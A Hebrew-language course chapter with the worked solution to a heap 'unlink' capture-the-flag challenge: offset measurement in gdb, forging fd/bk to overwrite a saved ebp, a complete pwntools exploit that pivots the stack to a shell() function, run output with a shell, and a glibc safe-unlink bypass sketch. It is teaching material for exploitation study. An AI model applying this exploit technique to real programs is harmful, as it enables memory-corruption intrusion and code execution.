7.4 תקיפת unlink פתרון
פתרון - תקיפת unlink¶
נעבור צעד-צעד: קריאת המקור, מדידת ההיסטים ב-gdb, האלגברה של זיוף המטא-דאטה, וה-exploit המלא. הכתובות בפלט הן דוגמה מהרצה מסוימת; שתי הleaks משתנות בכל הרצה, ולכן ה-exploit קורא אותן דינמית ולא מקבע אותן.
פתרון תרגיל 1 - קריאת המקור וזיהוי הפרימיטיב¶
מבנה ה-OBJ:
typedef struct tagOBJ {
struct tagOBJ* fd; // offset 0
struct tagOBJ* bk; // offset 4
char buf[8]; // offset 8
} OBJ; // sizeof(OBJ) == 16
הפונקציה unlink(B) מבצעת, במונחי כתובות:
FD = B->fd
BK = B->bk
*(FD + 4) = BK // FD->bk = BK (bk at offset 4)
*(BK + 0) = FD // BK->fd = FD (fd at offset 0)
שתי הleaks:
- ההדפסה
here is stack address leak: %pעל&Aנותנת כתובת של משתנה מקומי על המחסנית - כלומר מקבעת לנו את מיקום הפריים שלmain. - ההדפסה
here is heap address leak: %pעלAנותנת את הכתובת של ה-chunk הראשון ב-heap.
הoverflow: gets(A->buf) כותבת החל מ-A + 8 (כי buf בהיסט 8), בלי הגבלת אורך. השדות A->fd ו-A->bk נמצאים לפני buf, אז לא נוגעים בהם; לעומת זאת קדימה בזיכרון יושב ה-chunk של B, ואת ה-fd וה-bk שלו נוכל לדרוס לגמרי.
הפונקציה shell() קוראת ל-system("/bin/sh"). זה היעד. הכתובת שלה קבועה כי אין PIE:
כלומר shell ב-0x080484eb (הכתובת אצלכם עשויה להיות שונה מעט - שלפו אותה בעצמכם).
פתרון תרגיל 2 - הגנות ומרחקים¶
בדיקת ההגנות:
$ checksec ./unlink
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
מה זה אומר: אין canary (דריסת מצביעים על המחסנית לא נתפסת), אין PIE (הכתובת של shell() קבועה וידועה), ו-NX דלוק (אבל לא אכפת לנו - אנחנו קופצים לפונקציה קיימת, לא מריצים shellcode).
מדידה 1 - המרחק מ-A->buf ל-B->fd. שולחים דפוס ובודקים מה נחת ב-FD:
$ gdb -q ./unlink
pwndbg> break unlink
pwndbg> run
here is stack address leak: 0xff...
here is heap address leak: 0x...
<<< here gdb is waiting on gets; enter a pattern >>>
נוח יותר למדוד עם pwntools וקובץ קלט:
from pwn import *
context.binary = ELF('./unlink')
p = process('./unlink')
p.recvuntil(b'get shell!\n')
p.sendline(cyclic(64))
# in gdb, break at unlink and see: FD = B->fd contains 4 bytes from the pattern
בבינארי הזה, שלושת ה-chunks בגודל 16 בתים מוקצים רצוף, וה-chunk של B יושב 16 בתים אחרי A->buf. כלומר:
offset 0..7 -> A->buf (8 bytes)
offset 8..15 -> padding until B's chunk (prev_size + size)
offset 16..19 -> B->fd <-- this is where the field we control begins
offset 20..23 -> B->bk
כלומר מ-cyclic_find(FD) נקבל 16. שימו לב: המדידה חשובה, כי ההיסט המדויק תלוי בalignment וב-glibc - אל תניחו אותו, וודאו אותו.
מדידה 2 - איזה saved ebp לדרוס. עוצרים בכניסה ל-unlink ומסתכלים על שרשרת הפריימים. הרעיון (מההרצאה): נדרוס את ה-saved ebp של הפריים של unlink, כי אחריו יש שתי פעולות leave; ret רצופות (של unlink ואז של main), ושתיהן יחד מבצעות את ה-pivot. בבינארי הזה ה-saved ebp שרוצים לדרוס יושב בהיסט קבוע מ-&A. מודדים אותו פעם אחת ב-gdb:
pwndbg> break unlink
pwndbg> run
pwndbg> p $ebp # the ebp of unlink = the address of its saved ebp
pwndbg> p &A # from the leak: the address the program printed
מהפרש שתי הכתובות מקבלים את ההיסט. בבינארי הזה יוצא שה-saved ebp הרלוונטי נמצא בהיסט קבוע מהleak; בדוגמה שלנו נשתמש בכתובת שהתוכנית עצמה כבר נתנה - הleak &A היא בדיוק מיקום נוח על המחסנית שאליו נכתוב.
פתרון תרגיל 3 - האלגברה של זיוף המטא-דאטה¶
זו הליבה. אנחנו רוצים שה-unlink יכתוב מצביע ל-heap אל תוך saved ebp על המחסנית. נסמן:
T = address of the saved ebp we will overwrite (on the stack)
V = address of the fake frame on the heap (writable)
מהפרימיטיב, כתיבה 1 היא *(FD + 4) = BK. כדי לקבל *(T) = V נבחר:
נבדוק את תופעת הלוואי, כתיבה 2: *(BK + 0) = FD, כלומר *(V) = T - 4. כיוון ש-V היא כתובת heap בר-כתיבה, אין קריסה - פשוט נדרס דבר-מה בתוך הפריים המזויף שלנו, ואנחנו נבנה אותו כך שזה לא יפריע.
עכשיו הפריים המזויף. אנחנו שולטים בזיכרון החל מ-A->buf (כלומר heap + 8). את הכתובת של shell() נשים כך שאחרי ה-pivot ה-ret יקרא אותה. בפריים של 32 ביט, leave עושה mov esp, ebp; pop ebp ואז ret קורא את הדword שאחרי ה-ebp החדש. לכן אם ה-ebp יצביע ל-V, ה-ret יקרא מ-V + 4. נבחר:
כלומר: הכתובת של shell() יושבת בארבעת הבתים הראשונים של הקלט (שנוחתים ב-A->buf), ו-B->bk יצביע ל-heap + 4 כדי שה-ret יקרא בדיוק את אותם ארבעה בתים.
מכאן נגזרת מפת ה-payload (הקלט ל-gets, שמתחיל ב-A->buf):
offset 0..3 -> p32(shell) (lands at A->buf = heap+8 = V+4)
offset 4..15 -> padding (12 bytes)
offset 16..19 -> p32(B->fd) = p32(T - 4)
offset 20..23 -> p32(B->bk) = p32(V) = p32(heap + 4)
מה בעצם קורה בזמן ריצה, שלב-שלב:
1. unlink writes: *(T) = V (saved ebp <- heap+4)
*(V) = T - 4 (side effect in writable memory, no crash)
2. unlink executes leave; ret:
leave -> ebp <- *(T) = heap+4
ret -> returns to main as usual
3. main finishes and executes leave; ret:
leave -> esp <- ebp = heap+4 ; pop ebp
ret -> eip <- *(heap+8) = shell -> jump to shell()!
זהו ה-pivot: EBP מבוקר הפך ל-ESP מבוקר, וה-ret האחרון קרא את הכתובת של shell() שהחבאנו ב-heap. שימו לב שאף פעם לא כתבנו את הכתובת של shell דרך unlink - היא הגיעה ל-heap דרך gets, ו-unlink רק כתב מצביעים בין אזורים בני-כתיבה.
פתרון תרגיל 4 - ה-exploit המלא¶
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./unlink')
context.log_level = 'info'
def conn():
if args.REMOTE:
# per the challenge page: run on the server via SSH, or a network service if available
return remote('pwnable.kr', 9019)
return process('./unlink')
p = conn()
# --- reading the two leaks ---
p.recvuntil(b'stack address leak: ')
stack = int(p.recvline().strip(), 16) # &A
p.recvuntil(b'heap address leak: ')
heap = int(p.recvline().strip(), 16) # A
log.info('stack (&A) = %#x', stack)
log.info('heap (A) = %#x', heap)
shell = elf.symbols['shell'] # fixed address since there's no PIE
log.info('shell = %#x', shell)
# --- the calculation from exercise 3 ---
T = stack # the saved ebp we will overwrite (measured in gdb; here it's the leak itself)
V = heap + 4 # the fake frame on the heap; ret will read from V+4 = A->buf
BUF_TO_FD = 16 # measured with cyclic in exercise 2
payload = p32(shell) # lands at A->buf = heap+8 = V+4
payload += b'A' * (BUF_TO_FD - 4) # padding until B->fd
payload += p32(T - 4) # B->fd = FD -> write 1: *(T) = V
payload += p32(V) # B->bk = BK = V
p.sendline(payload)
p.interactive()
הרצה מקומית:
[*] stack (&A) = 0xffffd5a8
[*] heap (A) = 0x0804b410
[*] shell = 0x080484eb
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat flag
<the flag here>
הערה מעשית חשובה על stdin: כשמריצים ידנית בלי pwntools, ה-shell שנפתח קורא מ-stdin, אז אם סוגרים את הקלט הוא נסגר מיד. משאירים אותו פתוח כך:
עם p.interactive() של pwntools זה מטופל אוטומטית.
למה זה עבד: unlink נתן לנו כתיבה *(T) = V, ובחרנו T = saved ebp ו-V = פריים מזויף ב-heap. שתי פעולות ה-leave; ret הרצופות המירו את ה-EBP המבוקר ל-ESP מבוקר, וה-ret האחרון קרא את הכתובת של shell() שהחבאנו ב-heap. הימנענו מהקריסה של .text כי אף כתיבה של unlink לא נגעה בכתובת קוד - שתיהן כתבו מצביעים בין המחסנית ל-heap.
איך להכליל: זו התבנית של כל exploit unlink. מזהים מצביעי fd/bk שנשלטים (overflow או UAF), הופכים אותם לכתיבה *(T) = V, ומכיוון שאסור לכתוב כתובת קוד ישירות - כותבים מצביע לזיכרון שאנחנו שולטים בו, ומנתבים משם עם leave; ret או עם דריסת מצביע פונקציה שנקרא בהמשך.
פתרון תרגיל 5 (בונוס) - safe unlink של glibc¶
תוכנית קטנה שמפעילה את ההתקפה הקלאסית מול glibc אמיתי:
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main() {
// large chunks to bypass tcache and land in the unsorted bin
uint8_t *a = malloc(0x420);
uint8_t *b = malloc(0x420);
malloc(0x420); // prevents merging with the top chunk
// overwrite b's metadata with fake fd/bk (classic attack)
uint64_t *meta = (uint64_t*)(b - 0x10 + 0x10); // b->fd
meta[0] = 0x41414141; // fake fd
meta[1] = 0x42424242; // fake bk
free(b); // triggers a real unlink -> the checks run
return 0;
}
הדרה והרצה:
$ gcc -o safe_unlink safe_unlink.c
$ ./safe_unlink
malloc(): corrupted top size # or:
free(): corrupted unsorted chunks
malloc(): unsorted double linked list corrupted
# and in relevant versions:
corrupted double-linked list
מה נכשל: ברגע ש-free(b) מכניס את b ל-unsorted bin ואז מקצה אותו מחדש (או ממזג), הבדיקה FD->bk == P && BK->fd == P רצה. עם fd = 0x41414141 ו-bk = 0x42424242 שרירותיים, FD->bk לא שווה ל-P, glibc זועקת ומפילה. זה בדיוק מה שהאתגר ב-pwnable.kr חוסך לנו - שם ה-unlink כתוב ביד בלי בדיקות.
איך היינו עוקפים אילו היה מצביע גלובלי g אל ה-chunk: מזייפים fd = &g - 0x18 ו-bk = &g - 0x10 (היסטים של 64 ביט). אז FD->bk = *(&g - 0x18 + 0x18) = g = P וגם BK->fd = *(&g - 0x10 + 0x10) = g = P, שתי הבדיקות עוברות, ואחרי unlink מקבלים g = &g - 0x18 - מצביע שאנחנו שולטים בו, ומשם כתיבה שרירותית. את הרעיון הזה נרחיב בפרק 7.5 יחד עם טכניקות ה-House of.